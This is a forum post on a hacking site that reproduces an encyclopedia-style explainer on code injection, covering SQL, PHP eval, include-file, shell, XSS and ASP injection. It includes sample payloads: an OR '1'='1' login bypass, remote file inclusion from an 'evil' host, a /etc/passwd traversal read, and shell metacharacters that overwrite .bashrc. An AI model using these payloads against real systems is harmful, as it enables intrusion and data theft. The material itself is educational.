Log in

I forgot my password


Display results as :

Rechercher Advanced Search


Latest topics
» IRC Server: IRC.HackersPlanet.Org
Mon Jul 18, 2011 5:28 am by JeSTeR

» Getting Someone's IP By One Single Link Click
Sat Nov 20, 2010 4:02 pm by TR0J4NX

» Request Info
Wed Sep 16, 2009 11:33 pm by JeSTeR

» winagent.exe
Mon Aug 31, 2009 9:13 pm by JeSTeR

» sissiBOT.exe
Mon Aug 31, 2009 8:42 pm by JeSTeR

» Posting Rules
Mon Aug 31, 2009 8:30 pm by JeSTeR

» There Are Hidden Posts Only Members Can Access
Sat Aug 22, 2009 10:05 pm by JeSTeR

» Rules For Posting
Wed Aug 19, 2009 6:35 pm by Shikamaru

» RootKit Downloads
Sat Jul 11, 2009 9:34 pm by JeSTeR

Most active topic starters

Social bookmarking

Social bookmarking digg  Social bookmarking delicious  Social bookmarking reddit  Social bookmarking stumbleupon  Social bookmarking slashdot  Social bookmarking yahoo  Social bookmarking google  Social bookmarking blogmarks  Social bookmarking live      

Bookmark and share the address of H4CK3D.US on your social bookmarking website

Bookmark and share the address of H4CK3D.US on your social bookmarking website

RSS feeds


Code injection

Go down

Code injection

Post  JeSTeR on Thu Jan 08, 2009 2:20 pm

Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by an attacker to introduce (or "inject") code into a computer program to change the course of execution. The results of a Code Injection attack can be disastrous. For instance, code injection is used by some Computer worms to propagate.
Examples of Code Injection

SQL Injection

SQL injection takes advantage of the syntax of SQL to inject commands that can read or modify a database, or compromise the meaning of the original query.

For example, consider a web page has two fields to allow users to enter a user name and a password. The code behind the page will generate a SQL query to check the password against the list of user names:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'

If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code ("password' OR '1'='1") in the Password field, then the resulting query will look like this:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'

In the example above, "Password" is assumed to be blank or some innocuous string. "'1'='1'" will always be true and many rows will be returned, thereby allowing access.

The technique may be refined to allow multiple statements to run, or even to load up and run external programs.

PHP Injection

"PHP Injection," "ASP Injection," et cetera are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "PHP Injection," the server side scripting engine is PHP.

In practice, PHP Injection is either the exploitation of "Dynamic Evaluation Vulnerabilities," "Include File Injection," or similar code injection vulnerabilities.

Dynamic Evaluation Vulnerabilities

Steven M. Christey of mitre.org suggests this name for a class of code injection vulnerabilities.

Dynamic Evaluation Vulnerabilities - Eval Injection

An eval injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval() function call.[3]

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

The argument of "eval" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10; system('/bin/echo uh-oh')", additional code is run which executes a program on the server, in this case "/bin/echo".

Dynamic Evaluation Vulnerabilities - Dynamic Variable Evaluation

As defined in "Dynamic Evaluation Vulnerabilities in PHP applications": PHP supports "variable variables," which are variables or expressions that evaluate to the names of other variables. They can be used to dynamically change which variable is accessed or set during execution of the program. This powerful and convenient feature is also dangerous.

A number of applications have code such as the following:

$safevar = "0";
$param1 = "";
$param2 = "";
$param3 = "";
# my own "register globals" for param[1,2,3]
foreach ($_GET as $key => $value) {
$$key = $value;

If the attacker provides "safevar=bad" in the query string, then $safevar will be set to the value "bad".

Dynamic Evaluation Vulnerabilities - Dynamic Function Evaluation

The following PHP-examples will execute a function specified by request.

$myfunc = $_GET['myfunc'];


$myfunc = $_GET['myfunc'];

Include File Injection

Consider this PHP program (which includes a file specified by request):

$color = 'blue';
if (__isset( $_GET['COLOR'] ) )
$color = $_GET['COLOR'];
require( $color . '.php' );

<form method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
<input type="submit">

The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:

* /vulnerable.php?COLOR=http://evil/exploit? - injects a remotely hosted file containing an exploit.
* /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - Executes code from an already uploaded file called exploit.php
* /vulnerable.php?COLOR=../../../../../../../../etc/passwd%00 - allows an attacker to read the contents of the passwd file on a UNIX system directory traversal.
* /vulnerable.php?COLOR=C:\\notes.txt%00 - example using NULL meta character to remove the .php suffix, allowing access to other files than .php. (PHP setting "magic_quotes_gpc = On", which is default, would stop this attack)

Shell Injection

Shell Injection is named after Unix shells, but applies to most systems which allows software to programmatically execute command line. Typical sources of Shell Injection is calls system(), StartProcess(), java.lang.Runtime.exec(), System.Diagnostics.Process.Start() and similar APIs.

Consider the following short PHP program, which runs an external program called funnytext to replace a word the user sent with some other word)

passthru ( " /home/user/phpguru/funnytext "
. $_GET['USER_INPUT'] );

This program can be injected in multiple ways:

* `command` will execute command.
* $(command) will execute command.
* ; command will execute command, and output result of command.
* | command will execute command, and output result of command.
* && command will execute command, and output result of command.
* || command will execute command, and output result of command.
* > /home/user/phpguru/.bashrc will overwrite file .bashrc.
* < /home/user/phpguru/.bashrc will send file .bashrc as input to funnytext.

PHP offers escapeshellarg() and escapeshellcmd() to perform encoding before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.

HTML/Script injection (cross-site scripting)

Main article: Cross-site scripting

HTML/Script injection is a popular subject, commonly termed "Cross-Site Scripting", or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML, without being checked for HTML code or scripting.

The two basic types are as follows:

Active (Type 1)
This type of XSS flaw is less dangerous, as the user input is placed into a dynamically generated page. No changes are made on the server.

Passive (Type 2)
This type is more dangerous, as the input is written to a static page, and as such, is persistent.

HTML injection in IE7 via infected DLL

According to an article[4] in UK tech site The Register, HTML injection can also occur if the user has an infected DLL on their system. The article quotes Roger Thompson who claims that "the victims' browsers are, in fact, visiting the PayPal website or other intended URL, but that a dll file that attaches itself to IE is managing to read and modify the html while in transit. The article mentions a phishing attack using this attack that manages to bypass IE7 and Symantec's attempts to detect suspicious sites.

[edit] ASP Injection

"ASP Injection", "PHP Injection" etc. are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "ASP Injection", the server side scripting engine is Microsoft Active Server Pages, an add-on to Microsoft IIS.

In practice, ASP Injection is either the exploitation of Dynamic Evaluation Vulnerabilities, Include File Injection or similar code injection vulnerabilities.


If Not IsEmpty(Request( "username" ) ) Then
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim fso, f
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.OpenTextFile(Server.MapPath( "userlog.txt" ), ForAppending, True)
f.Write Request("username") & vbCrLf
Set f = nothing
Set fso = Nothing
<h1>List of logged users:</h1>
Server.Execute( "userlog.txt" )
<input name="username" /><input type="submit" name="submit" />
End If

In this example, the user is able to insert a command instead of a username.


Code injection is an error in interpretation. Similar interpretation errors exist out side of the world of computer science such as the comedy routine Who's on First? . This conversation was properly validated by this quote:

"Not the pronoun but a player with the unlikely name of Who, is on first"

-- Principal Skinner


1. ^ Hope, Paco; Walther, Ben (2008), Web Security Testing Cookbook, O'Reilly Media, Inc., p. 254, ISBN 978-0-596-51483-9
2. ^ Many file formats begin by declaring how much data they hold, along with some other values, up front. Understating the amount of data in this declaration can lead to a buffer overrun in carelessly developed software. For example, a carelessly built web browser. This often exposes a code injection vulnerability. This is the premise behind many security vulnerabilities involving files, especially image and media files.
3. ^ Christey, Steven M. (2006-05-03). "Dynamic Evaluation Vulnerabilities in PHP applications" (HTML). Insecure.org. Retrieved on 2008-11-17.
4. ^ Goodin, Dan (2007-05-25). "Strange spoofing technique evades anti-phishing filters, Targets include PayPal, eBay and others". The Register. Retrieved on 2008-11-17.

External links

* Article "The Cross-site Scripting FAQ" By Robert CGISecurity.com
* Article "Three Ways to Inject Your Code into Another Process" by Robert Kuster
* Article "Inject your code to a Portable Executable file" by Ashkbiz Danehkar
* Article "Injective Code inside Import Table" by Ashkbiz Danehkar
* Article "Defending against Injection Attacks through Context-Sensitive String Evaluation (CSSE)" by Tadeusz Pietraszek and Chris Vanden Berghe
* News article "Flux spreads wider" - First Trojan horse to make use of code injection to prevent detection from a firewall
* The Daily WTF regularly reports real-world incidences of susceptibility to code injection in software.
* Known code injection vulnerabilities since 2001 by Armorize Technologies

Notable code injection programs

* N-Stalker Web Application Security Scanner
* Sandcat
* Web Vulnerability Scanner
* Maui Security Scanner

Age : 35
Posts : 133
Join date : 2008-09-27
Location : Earth

Back to top Go down

Back to top

- Similar topics

Permissions in this forum:
You cannot reply to topics in this forum